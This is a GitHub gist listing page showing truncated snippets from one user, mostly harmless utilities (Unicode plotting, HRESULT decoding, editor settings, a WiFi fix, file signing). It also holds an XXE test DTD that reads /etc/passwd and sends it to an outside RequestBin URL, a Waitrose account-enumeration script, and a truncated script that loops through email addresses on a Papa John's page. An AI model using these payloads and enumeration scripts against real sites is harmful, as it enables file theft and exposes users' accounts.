Skip to content

Instantly share code, notes, and snippets.

Drew Silcock drewsberry

Block or report user

Report or block drewsberry

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@drewsberry
drewsberry / plot_unicode_history.py
Last active Dec 27, 2018
Python script for plotting how many codepoints each Unicode version has assigned
View plot_unicode_history.py
from datetime import date
import numpy as np
import matplotlib
import matplotlib.pyplot as plt
data = [
# (version number, date, number of codepoints assigned)
("1.0.0", date(1991, 10, 1), 7161, ( 5 , 0)),
("1.0.1", date(1992, 6, 1), 28359, ( 5 , -8)),
@drewsberry
drewsberry / hresult-analyser.js
Created Jul 24, 2017
Analyse HRESULT 32-bit code for what it means in a human readable format.
View hresult-analyser.js
const facilities = [
{
code: 0,
name: "FACILITY_NULL",
description: "The default facility code.",
},
{
code: 1,
name: "FACILITY_RPC",
description: "The source of the error code is an RPC subsystem.",
@drewsberry
drewsberry / xxe.dtd
Created Apr 11, 2017
XML Document Type Definition for testing for XXE (replace RequestBin URl with your own).
View xxe.dtd
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'https://requestb.in/1fjht231?%data;'>">
@drewsberry
drewsberry / vscode-settings.json
Created Mar 16, 2017
My Visual Studio Code settings
View vscode-settings.json
{
"files.associations": {
"*.cfg": "plaintext"
},
"window.zoomLevel": 0,
"editor.renderWhitespace": "boundary",
"files.trimTrailingWhitespace": true,
"eslint.enable": true,
"eslint.run": "onType",
"files.insertFinalNewline": true,
@drewsberry
drewsberry / waitrose_account_enumeration.py
Last active Feb 9, 2017
Waitrose website expose a nice JSON API for account enumeration. This script utilises this endpoint to find out whether an input email address has an account with Waitrose.
View waitrose_account_enumeration.py
import click
import requests
def has_waitrose_account(email_address):
""" Checks whether use with input email address has a Waitrose
account. """
enum_endpoint = "https://www.waitrose.com/shop/" + \
"LogonIdLookupCmd?_method=GET&" + \
@drewsberry
drewsberry / fix-wifi
Created Jan 4, 2017
Fix WiFi problems that sometimes happen on Ubuntu.
View fix-wifi
#!/bin/bash
if [[ $UID -ne 0 ]]; then
sudo "$0"
exit
fi
echo "Stopping network manager..."
service network-manager stop
echo "Done."
@drewsberry
drewsberry / js-set-referrer.js
Created Dec 20, 2016
Set referrer header in JS.
View js-set-referrer.js
// See https://stackoverflow.com/a/23434948
function setReferrerHeader(referrerName) {
Object.defineProperty(document, "referrer", {
get: function () { return referrerName; },
});
}
@drewsberry
drewsberry / sign
Created Nov 10, 2016
Use keybase command line utility to sign a file and detach the signature into a .sig file.
View sign
#!/bin/sh
usage() {
echo "sign INPUT_FILE"
}
keybase_not_found() {
echo >&2 "Keybase command line utilities must be installed to sign files."
exit 1
}
View papajohns.js
setTimeout(function() {
var $textInput = $('input[name="ctl00$cphBody$txtEmailAddressEnter"]');
var $submitButton = $('input[name="ctl00$cphBody$btnNext"]');
var $wheel = $('#wheel');
if ($textInput.length !== 0) {
var currentEmail = $textInput.val();
var currentNumber = Number(currentEmail.match(/[\d]+/)[0]);
@drewsberry
drewsberry / keybase.md
Created Nov 30, 2015
Keybase identity proof
View keybase.md

Keybase proof

I hereby claim:

  • I am drewsberry on github.
  • I am drewsberry (https://keybase.io/drewsberry) on keybase.
  • I have a public key whose fingerprint is 32AE 9006 2229 F440 8D5A 3716 F68B AB3B 4A08 2356

To claim this, I am signing this object:

You can’t perform that action at this time.